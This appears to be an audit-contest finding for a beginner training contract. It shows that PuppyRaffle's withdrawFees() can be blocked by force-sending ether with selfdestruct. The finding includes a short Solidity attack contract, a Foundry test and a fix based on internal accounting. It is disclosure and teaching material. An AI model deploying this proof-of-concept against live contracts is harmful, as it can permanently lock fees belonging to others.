Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

WithdrawFees() function can be effectively disabled.

Summary

The 'withdrawFees()' function can be disabled by an attacked by ensuring the require statement will always fail.

Vulnerability Details

An attacker can send some ether to the address to ensure that the require statement always fail.

require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);

The code below demonstrates how an attacker can send funds through a smart contract self-destruct attack.

Attack Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract SelfDestructAttack {
address payable public target;
constructor() payable {}
function attack(address _target) public payable {
selfdestruct(payable(_target));
}
}

By deploying the attack contract and sending any amount of ether during deployment. An attacker can then execute the attack function above.

The attack can be done like below:

function testSendEthAttack() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
attackContract.attack(address(puppyRaffle));
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Impact

Any attacker will be able to redo this attack and essentially blocking the fee address from ever receiving any funds because address(this).balance == uint256(totalFees) can never be equal anymore.

Tools Used

Manual review, Foundry

Recommendations

  • Do not rely on address(this).balance

  • Use another internal accounting to get proper balance, such as;

uint256 feeBalance = totalBalance - prizePool
Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.